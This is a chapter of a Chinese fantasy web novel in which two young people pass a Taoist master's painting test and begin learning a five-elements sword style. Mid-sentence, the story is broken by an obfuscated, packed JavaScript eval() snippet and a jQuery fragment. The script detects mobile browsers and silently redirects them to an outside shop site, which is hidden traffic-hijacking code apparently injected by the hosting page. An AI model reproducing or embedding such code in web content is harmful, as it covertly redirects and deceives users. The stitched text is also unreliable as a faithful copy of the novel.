二人走近,轻敲了房门
“道长,”傅彩霞轻唤。
“进吧。”道长空灵的嗓音自里面传出。
二人推门而入,便见道长正盘坐在蒲团上,这次是正脸对着他们。道长头发花白,身体上的气质也感觉不出年轻,像是位得道的老道,但观其面相,清秀干净,没有褶皱,又好似刚至中年。这种反差感将二人都看呆了。
“傅姑娘可是对昨日之惑有了答案呐。”道长开口。
“是,是”傅彩霞赶忙会过神来。
“那便说说看。”
“是”傅彩霞整理了一下思路后侃侃而谈
“我生来便是女娇娥,受着世间俗礼困于四方宅院之中,无法改变世人对我的看法,但有先生授我诗书,让我获得见识,俗尘凡事外,仍有人如一木师傅般视这桎梏如无物,将女子同男子一视同仁。”
她仔细端详着道长的面部情绪变化,又继续道:
“因而我认为,道之所求,在乎我心。别人所想,皆与我无干,如今我以女儿身欲做我所谋之事,非男女之别。而身份之别,是谓千金,今日我一身素衣,不配钗环来见道长,谨以傅彩霞之名走傅彩霞之路,求道长赐教。”
道长眉眼微弯,情绪总算是有了波动,这正是他想要的答案,但他并未开口说话。
见状,傅彩霞慌忙跪下,陆砚尘也跟着跪下。
“若道长肯帮我,绫罗绸缎皆可抛,从此不再佩钗环。”
她言辞恳切,目光灼灼地看着道长伟岸、仙风道骨的身躯。经历了“不识庐山真面目”一事。她更知人外有人,天外有天,而她想学的世人皆醉我独醒的本事,正是这位道长所有的本事。
“绫罗绸缎皆可抛,从此不再佩钗环。”道长低声重复了一下她的话,眼中晦暗,不知在想些什么,过了片刻,他唇边的笑意变得明显。
“那陆公子是如何想的?”
久久未曾发言的陆砚尘听其点到了自己的名字,忙道:“她要做这些事,我陪着她。”
“嗯……”道长眼神流转,又不知在思考什么,半晌才道:“我确实有法子解决你们现下之困扰,不过你们若想在这香泥山拜师学艺,得通过我的考验才可。”
考验?还有考验?来见道长之前已经那么多考验了。两人对视后对道长点头:“好。”
道长像是早就准备好了似的,从袖袍中掏出一幅不是太大的画,叫他们二人上前接过后又问道:
“可曾见过一木他们五个了?”
“见过。”二人应答。
“那便好。”道长满意地点头,“那你们便从图中选出哪位是一沙。”
说完他便闭上了眼睛,静静的等待。
二人看着手中画卷,上面画着五个人的背影,穿着相同,但姿势动作形态各异。
画卷正中一个人直直的盘腿坐在地上,正面应当是双掌合十的状态。右侧,一个人手中拿着一根树枝站在树下,左上角的高塔之上,一个人正在点着灯笼。上部中间的悬崖瀑布间,一个人正拿着葫芦接水。右边的一排商铺中,一个人背着手,拿着一枚金珠。
这五个人正是观中的五位道童。只是,他们真的太像了,方方面面的像,今日在山中遇到他们,面对真人的背影尚且分辨不出他们是哪位师傅,何况如今隔着一幅画呢。
两人交替着看着手中的画卷,眉头紧皱,都在心中沉思。今日上山之时,每逢遇到他们其中一人,第一面时,都是背对着他们的。到底有何不同?
陆砚尘接过画卷细细观看,傅彩霞闭上了眼睛。开始重新回忆今天遇到他们的场景。将画卷上的人带回那个时候
在他们背后喊:“小师傅,小师傅……”
可在她脑海中呈现出来的这几个人皆不曾回头。毫无头绪,她茫然地睁开了眼睛。
陆砚尘用手摩挲着画卷,低声喃喃:“特点……特点……像……不像……”
“道法自然,万宗归一,是道!”傅彩霞心中一震,豁然开朗。
“我知道了!”不承想二人竟异口同声地答道。
道长也缓缓的睁开了眼睛,此时已经过了一个时辰,天色已经完全暗了下来,禅房内烛火摇曳。
“陆公子先说。”道长开口。
“我选树下折枝的那位道长。”陆砚尘道。
“嗯,傅姑娘”
傅彩霞目光明亮,道:“我认为是坐在地上的师傅。”
道长问道:“你二人为何做出这个选择?”
陆砚尘道:"说来神奇,总觉画中有仙人指引,总觉得他身上的气息,很熟悉……”
他皱眉回忆,却又想不出在哪里或是曾经是否真的见过这个人,就鬼使神差地选择了这个。
傅彩霞道:“今日入观时,一泊师傅曾说,他认为他们并不相同。相融相斥,互为阴阳。所谓道法,万变归一。所以我猜测,五位道长正对五行。”
“手握折枝的是五行之首一木师傅,塔上点灯的是一明师傅,商檐点金的是一钰师傅,崖边承水的是一泊师傅,而正中盘坐的正是一沙师傅。”
道长听罢满意地点了点头,看来是有人做对了选择。
“选好了人,便选好了路。此局,仅傅姑娘一人选对。”道长悠悠开口。
虽说傅彩霞在说出答案之前已经确信了答案,但听到道长所言还是变得慌乱,她无措地看着陆砚尘,又看向道长:
“道长,我同哥哥仰慕道长本领,皆诚心求学,一时运气差异,恳请道长再给个机会。大恩大德,无以为报。”
“霞儿。”陆砚尘望向一向高洁的傅彩霞,今日为给他寻一机会苦苦哀求的模样,心中说不出的滋味。
“人各有道。既然前面的考验已经通过,我便不会赶他下山。”
“多谢师傅,多谢师傅。”傅彩霞忙跪拜感谢。
“多谢师傅。”陆砚尘也跪拜致谢。
“要成你心中之事,文韬武略皆不可短,自明日起,你二人便由一木五人传授阴阳武学。而你……”道长话锋一顿,又看向了傅彩霞,“每日辰时,便到禅房中来,我亲自教你。”
傅彩霞再次看向了陆砚尘,看得出来眼中对这个结局还是有些不满
“是,多谢道长。”陆砚尘对傅彩霞一笑,对着道长谢道。
见状,傅彩霞抿了抿唇,也不再多说什么了,道:“多谢道长。”
“嗯。”道长停顿片刻说道,”“以后在山中的时间,唤我师父便可。山下你们想知晓的情况,我自会告知你们,此期间不可下山。时间到了,我自会准你们下山。”
两人面对这个规矩有些犹豫,还是答道:“是,师父。”
“若是有朝一日下了山,便不许再回来。”道长又道。
两人疑惑不解,不过此处确实隐蔽,外来者稀少,道长这样做也是有他的道理,答道:“是。”
“嗯,如此,你们便回去吧。”
这时,一木又不知从何处冒出来的,已经站在了门口。
“傅姑娘,陆公子,房间收拾好了,跟我走吧。”
他清秀俊雅,还是那副文质彬彬,清风朗月般的模样。
随后,傅彩霞二人便跟着一木离开了。
道长抬手,禅房的门便关上了。
他抬指在空中一点,面前便出现一个幻像棋盘,上面还未落子,空落落的。
“天地棋局,开!”
霎时,金光沿着棋盘上的脉络流转。
他双指一夹,手指间便凭空多出一个黑子,他用力地点在了棋盘正中
“天元子成。”
禅房无风自生,吹得道长的衣袍猎猎摆动。一阵后,棋盘便变回了原先的模样,他衣袍在棋盘上一挥,那棋盘便消失不见了。
他缓缓合上了双目,嘴角微笑……
翌日
二人刚醒,起床便看到桌子上摆着一颗小药丸和一张字条,可房门紧闭着,不像是有人来过。
纸上写着:服过,可来后山。
傅彩霞刚推门出来,便看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13129617|138367||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
到陆砚尘早早地在外等着她了,两人结伴来到后山。
远远便瞧见五位小师傅手中握着长剑,并排站在一片空地上,每个人长剑的剑柄上都刻着阴阳调和图,但各有特色,互不相同。山风吹来,淡青色的衣袍被风猎猎的吹着。几个俊秀的少年在风中站着,神色依旧不变。俊秀清冽的脸庞和身上散发的肃杀形成鲜明对比。
二人走至无人跟前,便听一木开口道:“傅姑娘,陆公子今日为你二人展示五行剑法,可领悟多少,便看二人天赋了。”
“是。”二人回道,
应五位小师傅的要求,两人坐在了一旁安全的地带。
几人画空地为擂台,首先上场的一木和一沙。
一木舞剑清丽优雅,一沙舞剑敦厚老实,两人打斗沙石四起,狂风不止,一木的剑气生长、生发、舒畅。一沙的剑气升华、承载、受纳。刚好被一木克制。不知多少招过去之后,一木赢得了一沙。
“这组叫做木克土”一木说着退下来。
紧接着一泊就走到中间同一沙打。一泊的招式柔美尖锐,剑气滋润、下行、寒凉、闭藏。刚好克制一沙的招式。又不知过了多少招。一沙赢得了一泊。
“这组叫做土克水”一沙说着退下来
紧接着一明走上去,一明打斗暴躁火热,剑意温热、向上、升腾。但刚好被一泊的剑意克制。不知多少招之后,一泊赢得了一明。
“这组叫做水克火”一泊说着退下来。
紧接着一钰走上去,一钰的招式锋利肃穆,一钰的招式沉降、肃杀、收敛。但刚好被一明的招式克制。不知过了多少招,一明赢得了一钰。
“这组叫做火克金”一明说着退下来
紧接着一木再次走了上去,一钰的招式刚好克制一木的招式。不知过了多少招,一钰赢得了一木。
“这组叫做金克木”一钰说。
六场博弈,一直从清晨打到了傍晚,才终于结束。他们五个人再次并排站到了中央。
这些打斗太过惊艳,一招一式都能令人欢呼。两人忘记了时辰,竟也不觉得饿,打斗完,二人还沉浸在方才精彩的场景中,久久不能回神。陆砚尘更是看得痴了。
仔细看他们手中的剑,好似每一个都有他们自己的属性,每把剑都有自己的性格。
“二位道友,可看清楚了?”一木开口,将他们的思绪拉回。
“看清楚了,看清楚了。”陆砚尘胸中澎湃,激动得无以言表。
“这便是五行剑法中的长处和短缺,每套剑意相生相克,最终万剑归一。自明日起,你们便按照木火土金水跟着我们学习五行剑法。”一木道。
两人对视,不可置信,不敢想象若是真学会了五行剑法,这世上剑法还有谁能匹敌。连忙答应,刚要跪下拜师,被一木拦住。
“你们的师父是道长,唤我们名字便可。”
……
晚间,陆砚尘回到床榻上,久久不能入眠。今日后山上那一招一式在他脑子中徘徊不散,生生的将他看痴了,似乎找到了毕生的追求
“五行剑法……五行剑法……”他在呢喃中入睡。
自那日起,他们二人便一直跟着五位师傅学习剑法,但师傅们只允许他们用树枝为剑。日复一日,那两根树枝叫他用得光滑,细嫩的双手上也布满了厚厚黄黄的老茧。
傅彩霞因为女子身,用剑缺少力度,身体的力量永远达不到师傅们要求的水准。只能一日比一日刻苦,可永远跟不上陆砚尘。他是个练武奇才,悟剑修决,仿佛他本身就拥有的技能一样,总是得心应手的。早早便从木剑换了铁剑。
因而,在师傅走后,陆砚尘便成了傅彩霞的陪练,五行剑法,各有短缺,她试图通过五行剑法的相生相克来抵御陆砚尘的剑法。可总是抵不过他的绝对实力。
这次比武,擂台之上,傅彩霞尝试与木棍合一,木式剑意,生长,柔和。她闭上眼睛,望物出剑,本是拼尽全力的一击。
睁眼,陆砚尘的剑正好抵在她的脖子上。